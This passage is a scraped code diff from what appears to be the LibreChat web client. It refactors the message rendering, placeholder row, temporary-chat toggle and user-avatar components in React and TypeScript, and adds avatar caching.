endpoint: msg?.endpoint ?? conversation?.endpoint,
|
}
|
||||||
model: msg?.model ?? conversation?.model,
|
|
||||||
iconURL: msg?.iconURL,
|
|
||||||
modelLabel: messageLabel,
|
|
||||||
isCreatedByUser: msg?.isCreatedByUser,
|
|
||||||
}),
|
|
||||||
[
|
|
||||||
messageLabel,
|
|
||||||
conversation?.endpoint,
|
|
||||||
conversation?.model,
|
|
||||||
msg?.model,
|
|
||||||
msg?.iconURL,
|
|
||||||
msg?.endpoint,
|
|
||||||
msg?.isCreatedByUser,
|
|
||||||
],
|
|
||||||
);
|
|
||||||
|
|
||||||
const { hasParallelContent } = useContentMetadata(msg);
|
const getChatWidthClass = () => {
|
||||||
|
if (maximizeChatSpace) {
|
||||||
if (!msg) {
|
return 'w-full max-w-full md:px-5 lg:px-1 xl:px-5';
|
||||||
return null;
|
|
||||||
}
|
}
|
||||||
|
if (hasParallelContent) {
|
||||||
|
return 'md:max-w-[58rem] xl:max-w-[70rem]';
|
||||||
|
}
|
||||||
|
return 'md:max-w-[47rem] xl:max-w-[55rem]';
|
||||||
|
};
|
||||||
|
|
||||||
const getChatWidthClass = () => {
|
const baseClasses = {
|
||||||
if (maximizeChatSpace) {
|
common: 'group mx-auto flex flex-1 gap-3 transition-all duration-300 transform-gpu ',
|
||||||
return 'w-full max-w-full md:px-5 lg:px-1 xl:px-5';
|
chat: getChatWidthClass(),
|
||||||
}
|
};
|
||||||
if (hasParallelContent) {
|
|
||||||
return 'md:max-w-[58rem] xl:max-w-[70rem]';
|
|
||||||
}
|
|
||||||
return 'md:max-w-[47rem] xl:max-w-[55rem]';
|
|
||||||
};
|
|
||||||
|
|
||||||
const baseClasses = {
|
const conditionalClasses = {
|
||||||
common: 'group mx-auto flex flex-1 gap-3 transition-all duration-300 transform-gpu ',
|
focus: 'focus:outline-none focus:ring-2 focus:ring-border-xheavy',
|
||||||
chat: getChatWidthClass(),
|
};
|
||||||
};
|
|
||||||
|
|
||||||
const conditionalClasses = {
|
return (
|
||||||
focus: 'focus:outline-none focus:ring-2 focus:ring-border-xheavy',
|
<div
|
||||||
};
|
id={msg.messageId}
|
||||||
|
aria-label={getMessageAriaLabel(msg, localize)}
|
||||||
|
className={cn(
|
||||||
|
baseClasses.common,
|
||||||
|
baseClasses.chat,
|
||||||
|
conditionalClasses.focus,
|
||||||
|
'message-render',
|
||||||
|
)}
|
||||||
|
>
|
||||||
|
{!hasParallelContent && (
|
||||||
|
<div className="relative flex flex-shrink-0 flex-col items-center">
|
||||||
|
<div className="flex h-6 w-6 items-center justify-center overflow-hidden rounded-full">
|
||||||
|
<MessageIcon iconData={iconData} assistant={assistant} agent={agent} />
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
return (
|
|
||||||
<div
|
<div
|
||||||
id={msg.messageId}
|
|
||||||
aria-label={getMessageAriaLabel(msg, localize)}
|
|
||||||
className={cn(
|
className={cn(
|
||||||
baseClasses.common,
|
'relative flex flex-col',
|
||||||
baseClasses.chat,
|
hasParallelContent ? 'w-full' : 'w-11/12',
|
||||||
conditionalClasses.focus,
|
msg.isCreatedByUser ? 'user-turn' : 'agent-turn',
|
||||||
'message-render',
|
|
||||||
)}
|
)}
|
||||||
>
|
>
|
||||||
{!hasParallelContent && (
|
{!hasParallelContent && (
|
||||||
<div className="relative flex flex-shrink-0 flex-col items-center">
|
<h2 className={cn('select-none font-semibold', fontSize)}>{messageLabel}</h2>
|
||||||
<div className="flex h-6 w-6 items-center justify-center overflow-hidden rounded-full">
|
|
||||||
<MessageIcon iconData={iconData} assistant={assistant} agent={agent} />
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
)}
|
)}
|
||||||
|
|
||||||
<div
|
<div className="flex flex-col gap-1">
|
||||||
className={cn(
|
<div className="flex min-h-[20px] max-w-full flex-grow flex-col gap-0">
|
||||||
'relative flex flex-col',
|
<MessageContext.Provider value={messageContextValue}>
|
||||||
hasParallelContent ? 'w-full' : 'w-11/12',
|
<MessageContent
|
||||||
msg.isCreatedByUser ? 'user-turn' : 'agent-turn',
|
ask={ask}
|
||||||
)}
|
edit={edit}
|
||||||
>
|
isLast={isLast}
|
||||||
{!hasParallelContent && (
|
text={msg.text || ''}
|
||||||
<h2 className={cn('select-none font-semibold', fontSize)}>{messageLabel}</h2>
|
message={msg}
|
||||||
)}
|
enterEdit={enterEdit}
|
||||||
|
error={!!(msg.error ?? false)}
|
||||||
<div className="flex flex-col gap-1">
|
isSubmitting={effectiveIsSubmitting}
|
||||||
<div className="flex max-w-full flex-grow flex-col gap-0">
|
unfinished={msg.unfinished ?? false}
|
||||||
<MessageContext.Provider
|
isCreatedByUser={msg.isCreatedByUser ?? true}
|
||||||
value={{
|
siblingIdx={siblingIdx ?? 0}
|
||||||
messageId: msg.messageId,
|
setSiblingIdx={setSiblingIdx ?? (() => ({}))}
|
||||||
conversationId: conversation?.conversationId,
|
/>
|
||||||
isExpanded: false,
|
</MessageContext.Provider>
|
||||||
isSubmitting: effectiveIsSubmitting,
|
|
||||||
isLatestMessage,
|
|
||||||
}}
|
|
||||||
>
|
|
||||||
<MessageContent
|
|
||||||
ask={ask}
|
|
||||||
edit={edit}
|
|
||||||
isLast={isLast}
|
|
||||||
text={msg.text || ''}
|
|
||||||
message={msg}
|
|
||||||
enterEdit={enterEdit}
|
|
||||||
error={!!(msg.error ?? false)}
|
|
||||||
isSubmitting={effectiveIsSubmitting}
|
|
||||||
unfinished={msg.unfinished ?? false}
|
|
||||||
isCreatedByUser={msg.isCreatedByUser ?? true}
|
|
||||||
siblingIdx={siblingIdx ?? 0}
|
|
||||||
setSiblingIdx={setSiblingIdx ?? (() => ({}))}
|
|
||||||
/>
|
|
||||||
</MessageContext.Provider>
|
|
||||||
</div>
|
|
||||||
{hasNoChildren && effectiveIsSubmitting ? (
|
|
||||||
<PlaceholderRow />
|
|
||||||
) : (
|
|
||||||
<SubRow classes="text-xs">
|
|
||||||
<SiblingSwitch
|
|
||||||
siblingIdx={siblingIdx}
|
|
||||||
siblingCount={siblingCount}
|
|
||||||
setSiblingIdx={setSiblingIdx}
|
|
||||||
/>
|
|
||||||
<HoverButtons
|
|
||||||
index={index}
|
|
||||||
isEditing={edit}
|
|
||||||
message={msg}
|
|
||||||
enterEdit={enterEdit}
|
|
||||||
isSubmitting={isSubmitting}
|
|
||||||
conversation={conversation ?? null}
|
|
||||||
regenerate={handleRegenerateMessage}
|
|
||||||
copyToClipboard={copyToClipboard}
|
|
||||||
handleContinue={handleContinue}
|
|
||||||
latestMessage={latestMessage}
|
|
||||||
handleFeedback={handleFeedback}
|
|
||||||
isLast={isLast}
|
|
||||||
/>
|
|
||||||
</SubRow>
|
|
||||||
)}
|
|
||||||
</div>
|
</div>
|
||||||
|
{hasNoChildren && effectiveIsSubmitting ? (
|
||||||
|
<PlaceholderRow />
|
||||||
|
) : (
|
||||||
|
<SubRow classes="text-xs">
|
||||||
|
<SiblingSwitch
|
||||||
|
siblingIdx={siblingIdx}
|
||||||
|
siblingCount={siblingCount}
|
||||||
|
setSiblingIdx={setSiblingIdx}
|
||||||
|
/>
|
||||||
|
<HoverButtons
|
||||||
|
index={index}
|
||||||
|
isEditing={edit}
|
||||||
|
message={msg}
|
||||||
|
enterEdit={enterEdit}
|
||||||
|
isSubmitting={isSubmitting}
|
||||||
|
conversation={conversation ?? null}
|
||||||
|
regenerate={handleRegenerateMessage}
|
||||||
|
copyToClipboard={copyToClipboard}
|
||||||
|
handleContinue={handleContinue}
|
||||||
|
latestMessageId={latestMessageId}
|
||||||
|
handleFeedback={handleFeedback}
|
||||||
|
isLast={isLast}
|
||||||
|
/>
|
||||||
|
</SubRow>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
);
|
</div>
|
||||||
},
|
);
|
||||||
);
|
});
|
||||||
|
MessageRender.displayName = 'MessageRender';
|
||||||
|
|
||||||
export default MessageRender;
|
export default MessageRender;
|
||||||
|
|
|
||||||
|
|
@ -1,7 +1,9 @@
|
||||||
import { memo } from 'react';
|
import { memo } from 'react';
|
||||||
|
|
||||||
const PlaceholderRow = memo(() => {
|
/** Height matches the SubRow action buttons row (31px) — keep in sync with HoverButtons */
|
||||||
return <div className="mt-1 h-[27px] bg-transparent" />;
|
const PlaceholderRow = memo(function PlaceholderRow() {
|
||||||
|
return <div className="mt-1 h-[31px] bg-transparent" />;
|
||||||
});
|
});
|
||||||
|
PlaceholderRow.displayName = 'PlaceholderRow';
|
||||||
|
|
||||||
export default PlaceholderRow;
|
export default PlaceholderRow;
|
||||||
|
|
|
||||||
|
|
@ -1,8 +1,8 @@
|
||||||
import React from 'react';
|
import React from 'react';
|
||||||
|
import { useRecoilValue } from 'recoil';
|
||||||
import { TooltipAnchor } from '@librechat/client';
|
import { TooltipAnchor } from '@librechat/client';
|
||||||
import { MessageCircleDashed } from 'lucide-react';
|
import { MessageCircleDashed } from 'lucide-react';
|
||||||
import { useRecoilState, useRecoilCallback } from 'recoil';
|
import { useRecoilState, useRecoilCallback } from 'recoil';
|
||||||
import { useChatContext } from '~/Providers';
|
|
||||||
import { useLocalize } from '~/hooks';
|
import { useLocalize } from '~/hooks';
|
||||||
import { cn } from '~/utils';
|
import { cn } from '~/utils';
|
||||||
import store from '~/store';
|
import store from '~/store';
|
||||||
|
|
@ -10,13 +10,8 @@ import store from '~/store';
|
||||||
export function TemporaryChat() {
|
export function TemporaryChat() {
|
||||||
const localize = useLocalize();
|
const localize = useLocalize();
|
||||||
const [isTemporary, setIsTemporary] = useRecoilState(store.isTemporary);
|
const [isTemporary, setIsTemporary] = useRecoilState(store.isTemporary);
|
||||||
const { conversation, isSubmitting } = useChatContext();
|
const conversation = useRecoilValue(store.conversationByIndex(0));
|
||||||
|
const isSubmitting = useRecoilValue(store.isSubmittingFamily(0));
|
||||||
const temporaryBadge = {
|
|
||||||
id: 'temporary',
|
|
||||||
atom: store.isTemporary,
|
|
||||||
isAvailable: true,
|
|
||||||
};
|
|
||||||
|
|
||||||
const handleBadgeToggle = useRecoilCallback(
|
const handleBadgeToggle = useRecoilCallback(
|
||||||
() => () => {
|
() => () => {
|
||||||
|
|
|
||||||
|
|
@ -1,64 +1,102 @@
|
||||||
import React, { memo, useState } from 'react';
|
import React, { memo } from 'react';
|
||||||
import { UserIcon, useAvatar } from '@librechat/client';
|
import { UserIcon, useAvatar } from '@librechat/client';
|
||||||
import type { TUser } from 'librechat-data-provider';
|
|
||||||
import type { IconProps } from '~/common';
|
import type { IconProps } from '~/common';
|
||||||
import MessageEndpointIcon from './MessageEndpointIcon';
|
import MessageEndpointIcon from './MessageEndpointIcon';
|
||||||
import { useAuthContext } from '~/hooks/AuthContext';
|
import { useAuthContext } from '~/hooks/AuthContext';
|
||||||
import { useLocalize } from '~/hooks';
|
import { useLocalize } from '~/hooks';
|
||||||
import { cn } from '~/utils';
|
import { cn } from '~/utils';
|
||||||
|
|
||||||
|
type ResolvedAvatar = { type: 'image'; src: string } | { type: 'fallback' };
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Caches the resolved avatar decision per user ID.
|
||||||
|
* Invalidated when `user.avatar` changes (e.g., settings upload).
|
||||||
|
* Tracks failed image URLs so they fall back to SVG permanently for the session.
|
||||||
|
*/
|
||||||
|
const avatarCache = new Map<
|
||||||
|
string,
|
||||||
|
{ avatar: string; avatarSrc: string; resolved: ResolvedAvatar }
|
||||||
|
>();
|
||||||
|
const failedUrls = new Set<string>();
|
||||||
|
|
||||||
|
function resolveAvatar(userId: string, userAvatar: string, avatarSrc: string): ResolvedAvatar {
|
||||||
|
if (!userId) {
|
||||||
|
const imgSrc = userAvatar || avatarSrc;
|
||||||
|
return imgSrc && !failedUrls.has(imgSrc)
|
||||||
|
? { type: 'image', src: imgSrc }
|
||||||
|
: { type: 'fallback' };
|
||||||
|
}
|
||||||
|
|
||||||
|
const cached = avatarCache.get(userId);
|
||||||
|
if (cached && cached.avatar === userAvatar && cached.avatarSrc === avatarSrc) {
|
||||||
|
return cached.resolved;
|
||||||
|
}
|
||||||
|
|
||||||
|
const imgSrc = userAvatar || avatarSrc;
|
||||||
|
const resolved: ResolvedAvatar =
|
||||||
|
imgSrc && !failedUrls.has(imgSrc) ? { type: 'image', src: imgSrc } : { type: 'fallback' };
|
||||||
|
|
||||||
|
avatarCache.set(userId, { avatar: userAvatar, avatarSrc, resolved });
|
||||||
|
return resolved;
|
||||||
|
}
|
||||||
|
|
||||||
|
function markAvatarFailed(userId: string, src: string): ResolvedAvatar {
|
||||||
|
failedUrls.add(src);
|
||||||
|
const fallback: ResolvedAvatar = { type: 'fallback' };
|
||||||
|
const cached = avatarCache.get(userId);
|
||||||
|
if (cached) {
|
||||||
|
avatarCache.set(userId, { ...cached, resolved: fallback });
|
||||||
|
}
|
||||||
|
return fallback;
|
||||||
|
}
|
||||||
|
|
||||||
type UserAvatarProps = {
|
type UserAvatarProps = {
|
||||||
size: number;
|
size: number;
|
||||||
user?: TUser;
|
avatar: string;
|
||||||
avatarSrc: string;
|
avatarSrc: string;
|
||||||
|
userId: string;
|
||||||
username: string;
|
username: string;
|
||||||
className?: string;
|
className?: string;
|
||||||
};
|
};
|
||||||
|
|
||||||
const UserAvatar = memo(({ size, user, avatarSrc, username, className }: UserAvatarProps) => {
|
const UserAvatar = memo(
|
||||||
const [imageError, setImageError] = useState(false);
|
({ size, avatar, avatarSrc, userId, username, className }: UserAvatarProps) => {
|
||||||
|
const [resolved, setResolved] = React.useState(() => resolveAvatar(userId, avatar, avatarSrc));
|
||||||
|
|
||||||
const handleImageError = () => {
|
React.useEffect(() => {
|
||||||
setImageError(true);
|
setResolved(resolveAvatar(userId, avatar, avatarSrc));
|
||||||
};
|
}, [userId, avatar, avatarSrc]);
|
||||||
|
|
||||||
const renderDefaultAvatar = () => (
|
return (
|
||||||
<div
|
<div
|
||||||
style={{
|
title={username}
|
||||||
backgroundColor: 'rgb(121, 137, 255)',
|
style={{ width: size, height: size }}
|
||||||
width: '20px',
|
className={cn('relative flex items-center justify-center', className ?? '')}
|
||||||
height: '20px',
|
>
|
||||||
boxShadow: 'rgba(240, 246, 252, 0.1) 0px 0px 0px 1px',
|
{resolved.type === 'image' ? (
|
||||||
}}
|
<img
|
||||||
className="relative flex h-9 w-9 items-center justify-center rounded-sm p-1 text-white"
|
className="rounded-full"
|
||||||
>
|
src={resolved.src}
|
||||||
<UserIcon />
|
alt="avatar"
|
||||||
</div>
|
onError={() => setResolved(markAvatarFailed(userId, resolved.src))}
|
||||||
);
|
/>
|
||||||
|
) : (
|
||||||
return (
|
<div
|
||||||
<div
|
style={{
|
||||||
title={username}
|
backgroundColor: 'rgb(121, 137, 255)',
|
||||||
style={{
|
width: '20px',
|
||||||
width: size,
|
height: '20px',
|
||||||
height: size,
|
boxShadow: 'rgba(240, 246, 252, 0.1) 0px 0px 0px 1px',
|
||||||
}}
|
}}
|
||||||
className={cn('relative flex items-center justify-center', className ?? '')}
|
className="relative flex h-9 w-9 items-center justify-center rounded-sm p-1 text-white"
|
||||||
>
|
>
|
||||||
{(!(user?.avatar ?? '') && (!(user?.username ?? '') || user?.username.trim() === '')) ||
|
<UserIcon />
|
||||||
imageError ? (
|
</div>
|
||||||
renderDefaultAvatar()
|
)}
|
||||||
) : (
|
</div>
|
||||||
<img
|
);
|
||||||
className="rounded-full"
|
},
|
||||||
src={(user?.avatar ?? '') || avatarSrc}
|
);
|
||||||
alt="avatar"
|
|
||||||
onError={handleImageError}
|
|
||||||
/>
|
|
||||||
)}
|
|
||||||
</div>
|
|
||||||
);
|
|
||||||
});
|
|
||||||
|
|
||||||
UserAvatar.displayName = 'UserAvatar';
|
UserAvatar.displayName = 'UserAvatar';
|
||||||
|
|
||||||
|
|
@ -74,9 +112,10 @@ const Icon: React.FC<IconProps> = memo((props) => {
|
||||||
return (
|
return (
|
||||||
<UserAvatar
|
<UserAvatar
|
||||||
size={size}
|
size={size}
|
||||||
user={user}
|
|
||||||
avatarSrc={avatarSrc}
|
avatarSrc={avatarSrc}
|
||||||
username={username}
|
username={username}
|
||||||
|
userId={user?.id ?? ''}
|
||||||
|
avatar={user?.avatar ?? ''}
|
||||||
className={props.className}
|
className={props.className}
|
||||||
/>
|
/>
|
||||||
);
|
);
|
||||||
|
|
|
||||||
Some files were not shown because too many files have changed in this diff Show more
Loading…
Add table
Add a link
Reference in a new issue